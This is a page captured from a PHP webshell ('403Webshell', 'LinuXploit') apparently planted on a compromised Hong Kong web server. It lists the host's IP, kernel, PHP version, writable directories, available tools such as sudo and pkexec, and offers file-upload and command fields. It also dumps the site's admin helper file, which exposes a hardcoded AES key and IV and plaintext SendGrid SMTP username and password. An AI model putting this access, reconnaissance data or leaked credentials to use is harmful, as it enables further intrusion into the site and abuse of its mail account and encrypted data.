403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/b2b2c/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/b2b2c/webadmin/_functions.php
<?php
	require_once("configure.php");

	/*if (!function_exists('escape_string')) {
		function escape_string($data){

			//return ($data);

			$replacements = array(
					"'" => '&#039;',
					'"' => '&quot;',
					//"\\" => '\\\\',
			);
			return strtr($data, $replacements);
		}
	}*/

	if (!function_exists('bind_pdo')) {
		function bind_pdo($sql, $parameters = NULL, $action = NULL, $escape = true, $_dbh=null)
		{
			if(empty($_dbh)){
				global $dbh;
			}else{
				$dbh = $_dbh;
			}

			if ($action == "insert" || $action == "update" || $action == "delete" || empty($action)) {
				if (!($sth = $dbh->prepare($sql))) {
					throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
				}

				if (!$sth->execute($parameters)) {
					throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
				}
			}

			if ($action == "selectone") {
				if (!($sth = $dbh->prepare($sql))) {
					throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
				}

				if (!$sth->execute($parameters)) {
					throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
				}

				$result = $sth->fetch(PDO::FETCH_ASSOC);
				/*if (!empty($result)) {
					foreach ($result as $key => $row) {
						$result[$key] = escape_string($result[$key]);
					}
				}*/
				return $result;

			}

			if ($action == "selectall") {
				if (!($sth = $dbh->prepare($sql))) {
					throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
				}

				if (!$sth->execute($parameters)) {
					throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
				}

				$result = $sth->fetchAll(PDO::FETCH_ASSOC);
				/*if (!empty($result)) {
					foreach ($result as $key => $row) {
						foreach ($row as $key2 => $row2) {
							$result[$key][$key2] = escape_string($result[$key][$key2]);
						}
					}
				}*/
				return $result;
			}

			if ($action == "dump") {
				return dump_sql($sql, $parameters);
			}

		}
	}

	if (!function_exists('insert_record')) {
		function insert_record($table_name, $data, $dump_sql = NULL)
		{
			$result = "";

			if (!empty($table_name) && !empty($data)) {
				$sql        = "insert into `" . $table_name . "` set ";
				$parameters = array();
				foreach ($data as $table_field => $value) {
					$sql .= "`" . $table_field . "` = ?, ";
					$parameters[] = $value;
				}

				$sql = substr_replace($sql, "", -2);
			}

			if (!empty($dump_sql)) {
				$result = dump_sql($sql, $parameters);
			} else {
				$result = bind_pdo($sql, $parameters);
			}

			return $result;
		}
	}

	if (!function_exists('update_record')) {
		function update_record($table_name, $data, $where, $dump_sql = NULL)
		{
			$result = "";

			if (!empty($table_name) && !empty($data)) {
				$sql        = "update `" . $table_name . "` set ";
				$parameters = array();
				foreach ($data as $table_field => $value) {
					$sql .= "`" . $table_field . "` = ?, ";
					$parameters[] = $value;
				}
				$sql = substr_replace($sql, "", -2);

				$sql .= " where " . $where["sql"];
				foreach ($where["parameters"] as $table_field => $value) {
					$parameters[] = $value;
				}

				if (!empty($dump_sql)) {
					$result = dump_sql($sql, $parameters);
				} else {
					$result = bind_pdo($sql, $parameters);
				}

			}

			return $result;
		}
	}

	if (!function_exists('dump_sql')) {
		function dump_sql($sql, $parameters)
		{
			$keys = array();

			# build a regular expression for each parameter
			foreach ($parameters as $key => $value) {
				if (is_string($key)) {
					$keys[] = '/:' . $key . '/';
				} else {
					$keys[] = '/[?]/';
				}
			}

			foreach ($parameters as $key2 => $value) {
				$parameters[$key2] = "'" . $value . "'";
			}

			$sql = preg_replace($keys, $parameters, $sql, 1, $count);

			#trigger_error('replaced '.$count.' keys');

			return $sql;
		}
	}

	if (!function_exists('debug_log')) {
		function debug_log($code, $data)
		{
			$date = new DateTime();
			$date->modify("-2 month");

			$sql        = "delete from debug_log where createdate <= ?";
			$parameters = array($date->format("Y-m-d"));
			bind_pdo($sql, $parameters);

			$sql        = "insert into debug_log (code, log_data, createdate) value (?,?,?)";
			$parameters = array($code, json_encode($data), date("Y-m-d H:i:s"));
			bind_pdo($sql, $parameters);
		}
	}

	/***************************************************
	 * _site info
	 */

	$sql        = "SELECT * FROM site_info WHERE siteinfoid = ? ";
	$parameters = array(1);
	$row0       = bind_pdo($sql, $parameters, "selectone");
	$site_info  = $row0;


	/***************************************************
	 * _language setting
	 */

	$sql           = "SELECT * FROM sys_lang WHERE langstatus = 1 ORDER BY langsort ASC ";
	$sys_lang_info = bind_pdo($sql, NULL, "selectall");
	foreach ($sys_lang_info as $sys_lang) {
		$arraylangcode[$sys_lang['langcode']] = $sys_lang['langname'];
	}

	if (!function_exists('get_client_ip')) {
		function get_client_ip()
		{
			$ipaddress = '';
			if (isset($_SERVER['HTTP_CLIENT_IP']))
				$ipaddress = $_SERVER['HTTP_CLIENT_IP'];
			else if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
				$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
			else if (isset($_SERVER['HTTP_X_FORWARDED']))
				$ipaddress = $_SERVER['HTTP_X_FORWARDED'];
			else if (isset($_SERVER['HTTP_FORWARDED_FOR']))
				$ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
			else if (isset($_SERVER['HTTP_FORWARDED']))
				$ipaddress = $_SERVER['HTTP_FORWARDED'];
			else if (isset($_SERVER['REMOTE_ADDR']))
				$ipaddress = $_SERVER['REMOTE_ADDR'];
			else
				$ipaddress = 'UNKNOWN';
			return $ipaddress;
		}
	}


	if (!function_exists('get_langcode')) {
		function get_langcode()
		{
			if (strpos($_SERVER["REQUEST_URI"], "webadmin") !== false) {
				if (!isset($_SESSION["wlangcode"])) {
					$_SESSION["wlangcode"] = "en";
				}

				$this_langcode = $_SESSION["wlangcode"];
			} else {
				if (!isset($_SESSION["langcode"])) {
					$_SESSION["langcode"] = "cn";
				}

				$this_langcode = $_SESSION["langcode"];
			}

			return $this_langcode;
		}
	}

	//$langcode = get_langcode();

	/*if (!function_exists('lang')) {
		function lang($text, $lang=null)
		{
			if(empty($lang)){
				$this_langcode = get_langcode();
			}else{
				$this_langcode = $lang;
			}

			$sql        = "select * from `language` where BINARY name_en = ? and deleted = ? limit 1";
			$parameters = array($text, 0);
			$result     = bind_pdo($sql, $parameters, "selectone");

			if (!empty($result)) {
				return $result["name_" . $this_langcode];
			} else {
				//temp

				if(true){
					$sql = "select * from `language_pending` where BINARY name_en = ? and deleted = ? limit 1";
					$parameters = array($text, 0);
					$is_pending = bind_pdo($sql, $parameters, "selectone");
					if(empty($is_pending)){
						$sql = "INSERT INTO `language_pending` (name_en, deleted) VALUES (?, ?)";
						$parameters = array($text, 0);
						bind_pdo($sql, $parameters, "insert");
					}
				}
				return $text;
				//return $text . "(missing)";
				//return null;
			}
		}
	}*/

	if (!function_exists('_h')) {
		function _h($str)
		{
			return htmlspecialchars($str, ENT_QUOTES);
		}
	}

	// lang() with html escapse
	if (!function_exists('_lang')) {
		function _lang($text, $lang = null)
		{
			// TODO: escapse the translated string after frontend is changed
			return _h(call_user_func_array('lang', func_get_args()));
			//return (lang($text));
		}
	}

	if (!function_exists('get_master_type_code')) {
		function get_master_type_code($typeid, $code = NULL)
		{
			if (!empty($code)) {
				$sql        = "select * from master_type_code where typeid = ? and code = ? and deleted = ? order by sort ASC, name_en ASC";
				$parameters = array($typeid, $code, 0);
				$result     = bind_pdo($sql, $parameters, "selectone");
			} else {
				$sql        = "select * from master_type_code where typeid = ? and deleted = ? order by sort ASC, name_en ASC";
				$parameters = array($typeid, 0);
				$result     = bind_pdo($sql, $parameters, "selectall");
			}

			return $result;
		}
	}

	if (!function_exists('get_master_type_code_by_id')) {
		function get_master_type_code_by_id($id = NULL)
		{
			if (!empty($id)) {
				$sql        = "select * from master_type_code where id = ? ";
				$parameters = array($id);
				$result     = bind_pdo($sql, $parameters, "selectone");
			} else {
				$sql        = "select * from master_type_code where deleted = ? order by name_en ASC";
				$parameters = array(0);
				$result     = bind_pdo($sql, $parameters, "selectall");
			}

			return $result;
		}
	}

	if (isset($_GET["msg"]) && (int)$_GET["msg"] == $_GET["msg"]) {
		$msg_master_info = get_master_type_code("WEBADMIN", $_GET["msg"]);
		$msg             = $msg_master_info["name_" . $_SESSION["wlangcode"]];
		$_GET["msg"]     = $msg_master_info["name_" . $_SESSION["wlangcode"]];
	}

	if (!function_exists('random_string')) {
		function random_string($length = 8)
		{
			$chars         = "abcdefghijkmnpqrstuvwxyzABCDEFGHIJKLMNPQRSTUVWXYZ23456789";
			$random_string = substr(str_shuffle($chars), 0, $length);
			return $random_string;
		}
	}

	if (!function_exists('last_url')) {
		function last_url()
		{
			$protocol = strpos(strtolower($_SERVER['SERVER_PROTOCOL']), 'https')
			=== false ? 'http' : 'https';
			$host     = $_SERVER['HTTP_HOST'];
			/*$script   = $_SERVER['SCRIPT_NAME'];
			$params   = $_SERVER['QUERY_STRING'];*/

			//$lastUrl = $protocol . '://' . $host . $script . '?' . $params;

			$path    = $_SERVER['REQUEST_URI'];
			$lastUrl = $protocol . '://' . $host . $path;

			return $lastUrl;
		}

	}

	if (!function_exists('aes_crypt')) {
		function aes_crypt($data, $encrypt_decrypt)
		{

			/*set_include_path(get_include_path() . PATH_SEPARATOR . 'phpseclib0.3.8');
			include('Net/SSH2.php');
			include('Crypt/RSA.php');*/

			/*set_include_path(get_include_path() . PATH_SEPARATOR . 'phpseclib1.0.1');

			if (!class_exists('Crypt_AES')) {
				include_once('phpseclib1.0.1/Crypt/AES.php');
			}

			include_once('phpseclib1.0.1/Crypt/Random.php');*/

			$aes_crypt = new phpseclib\Crypt\AES();

			$aes_crypt->setKey('BX9Zckh$*A5FWQD4eRsG=KL-rDQbwbyJ');
			//$aes_crypt->setIV(crypt_random_string($aes_crypt->getBlockLength() >> 3));
			$aes_crypt->setIV('2q=XYD%RPRaTUsZ+TJD7R8+&mws$j^p4');

			if ($encrypt_decrypt == 1) {
				if (isset($data)) {
					return base64_encode($aes_crypt->encrypt($data));
				} else {
					return;
				}
			}

			if ($encrypt_decrypt == 2) {
				if (isset($data)) {
					return $aes_crypt->decrypt(base64_decode($data));
				} else {
					return;
				}
			}
		}
	}

	if (!function_exists('matched_option')) {
		function matched_option($data1, $data2, $type)
		{
			if ($data1 == $data2) {
				if ($type == "checkbox" || $type == "radiobutton") {
					return "checked";
				} else if ($type == "select") {
					return "selected";
				} else {
				}

			}
		}
	}

	if (!function_exists('get_config_setting')) {
		function get_config_setting($config_id)
		{
			global $dbh;

			$sql        = "select * from config where old_record = ? and config_id = ? ";
			$parameters = array("0", $config_id);
			if (!($sth = $dbh->prepare($sql))) {
				throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
			}

			if (!$sth->execute($parameters)) {
				throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
			}

			$config_info = $sth->fetch(PDO::FETCH_ASSOC);
			return $config_info;
		}
	}

	if (!function_exists('select_options')) {
		function select_options($rows, $selected_value, $settings = array())
		{
			$settings['value_field'] = $settings['value_field'] ?: 'code';
			$settings['label_fn']    = $settings['label_fn'] ?: function ($row) {
				return "{$row['code']} - {$row['name_en']}";
			};

			$str = '';
			foreach ($rows as $row) {
				$str .= "<option value='" . $row[$settings['value_field']] . "' " . ($row[$settings['value_field']] == $selected_value ? "selected='selected'" : "") . ">" . $settings['label_fn']($row) . "</option>";
			}
			return $str;
		}
	}

	if (!function_exists('startsWith')) {
		function startsWith($haystack, $needle)
		{
			$length = strlen($needle);
			return (substr($haystack, 0, $length) === $needle);
		}
	}

	if (!function_exists('check_upload_path')) {
		function check_upload_path($img_file)
		{
			$session_path_str  = "/uploader/" . $_SESSION['KCFINDER']['uploadURL'];
			$session_path_long = strlen($session_path_str);
			$path_error        = 0;
			foreach ($img_file as $key2 => $pathname) {
				if ($key2 && $pathname) {
					$submit_path_str  = substr($pathname, 0, $session_path_long);
					$submit_path_long = strlen($submit_path_str);
					$file             = str_replace('..', '', $pathname);
					if ($session_path_long <> $submit_path_long || $session_path_str <> $submit_path_str || !startsWith($file, $session_path_str)) {
						$path_error = 1;
					}
				}
			}
		}
	}

	if (!function_exists('low2high')) {
		function low2high($a, $b)
		{
			if ($a["min_fee"] == $b["min_fee"]) {
				return 0;
			}
			return ($a["min_fee"] < $b["min_fee"]) ? -1 : 1;
		}
	}

	if (!function_exists('high2low')) {
		function high2low($a, $b)
		{
			if ($a["min_fee"] == $b["min_fee"]) {
				return 0;
			}
			return ($a["min_fee"] > $b["min_fee"]) ? -1 : 1;
		}
	}

	if (!function_exists('get_last_login_date')) {
		function get_last_login_date($cmsloginid)
		{
			$sql        = "select last_login_date from sys_cms_login where cmsloginid = ?";
			$parameters = array($cmsloginid);
			$result     = bind_pdo($sql, $parameters, "selectone");

			$date = new DateTime($result["last_login_date"]);

			return $date->format("Y-m-d");
		}
	}

	if (!function_exists('image_fix_orientation')) {
		function image_fix_orientation($filename)
		{
			$exif = exif_read_data($filename);
			if (!empty($exif['Orientation'])) {
				$image = imagecreatefromjpeg($filename);
				switch ($exif['Orientation']) {
					case 3:
						$image = imagerotate($image, 180, 0);
						break;

					case 6:
						$image = imagerotate($image, -90, 0);
						break;

					case 8:
						$image = imagerotate($image, 90, 0);
						break;
				}

				imagejpeg($image, $filename, 90);
			}
		}
	}

	if (!function_exists('val_in_array')) {
		function val_in_array($a, $field)
		{
			if (is_array($a)) {
				return $a[$field];
			}
		}
	}

	if (!function_exists('validateDate')) {
		function validateDate($date, $format = 'Y-m-d H:i:s')
		{
			$d = DateTime::createFromFormat($format, $date);
			return $d && $d->format($format) == $date;
		}
	}

	if (!function_exists('call_curl')) {
		function call_curl($url, $postData, $post, $http_header = array())
		{
			global $site_info;

			if (!empty($post)) {
				$ch = curl_init();
				curl_setopt($ch, CURLOPT_URL, $url);
				curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
				curl_setopt($ch, CURLOPT_POST, 1);
				curl_setopt($ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
				curl_setopt($ch, CURLOPT_HEADER, 0);
				curl_setopt($ch, CURLOPT_HTTPHEADER, $http_header);
				curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
				curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);

				$result = curl_exec($ch);

				/*var_dump($http_header);
				var_dump($result);
				var_dump(curl_getinfo($ch));*/

				curl_close($ch);
			} else {
				$ch = curl_init();
				curl_setopt($ch, CURLOPT_URL, $url);
				curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
				curl_setopt($ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
				curl_setopt($ch, CURLOPT_HEADER, 0);
				curl_setopt($ch, CURLOPT_HTTPHEADER, $http_header);
				curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
				$result = curl_exec($ch);
				curl_close($ch);
			}

			return $result;
		}
	}

	if (!function_exists('send_email')) {
		function send_email($from, $from_name, $to, $to_name, $bcc = array(), $subject, $template_field = array(), $template_path, $attachments=array(), $localhost=1)
		{
			if (SEND_EMAIL == 1) {
				include('../inc/class.phpmailer.php');

				$template = file_get_contents($template_path);
				foreach ($template_field as $key => $value) {
					$template = str_replace('{' . $key . '}', $value, $template);
				}

				$x_mail = new PHPMailer();
				$x_mail->IsSMTP();
				//$x_mail->SMTPDebug  = 2;
				//$x_mail->Host       = 'localhost';
				//$localhost=0;
				if($localhost==0){
					$x_mail->Host = 'smtp.sendgrid.net';                 // Specify main and backup server
					$x_mail->Port = 587;                                    // Set the SMTP port
					$x_mail->SMTPAuth = true;                               // Enable SMTP authentication
					$x_mail->Username = 'garricklam1';                // SMTP username
					$x_mail->Password = 'garrick1';                  // SMTP password
					$x_mail->SMTPSecure = 'tls';
				}else{
					$x_mail->Host = 'localhost';                 // Specify main and backup server
					//$x_mail->SMTPAuth = true;
				}

				$x_mail->CharSet    = "UTF-8";
				$x_mail->Sender     = $from;
				$x_mail->From       = $from;
				$x_mail->FromName   = $from_name;

				$x_mail->AddAddress($to, $to_name);

				if (!empty($bcc)) {
					foreach ($bcc as $email => $name) {
						if(!empty($email)){
							$x_mail->AddBCC($email, $name);
						}
					}
				}

				$x_mail->WordWrap = 50;
				$x_mail->IsHTML(true);
				$x_mail->Subject = $subject;
				$x_mail->Body    = $template;

				if (!empty($attachments)) {
					foreach ($attachments as $key => $attachment) {
						$x_mail->addStringAttachment(file_get_contents($attachment["url"]), $attachment["name"]);
					}
				}

				/*var_dump($x_mail);
				exit*/;
				if ($x_mail->Send()) {
					return 'SUCCESS';
				} else {
					return $x_mail->ErrorInfo;
					//return 'FAIL';
				}
			} else {
				return 'SUCCESS';
			}
		}
	}

	if (isset($_GET["msg"]) && (int)$_GET["msg"] > 0) {
		$msg_master_info = get_master_type_code("WEBADMIN", $_GET["msg"]);
		$msg             = $msg_master_info["name_en"];
		$_GET["msg"]     = $msg_master_info["name_en"];
	}

Youez - 2016 - github.com/yon3zu
LinuXploit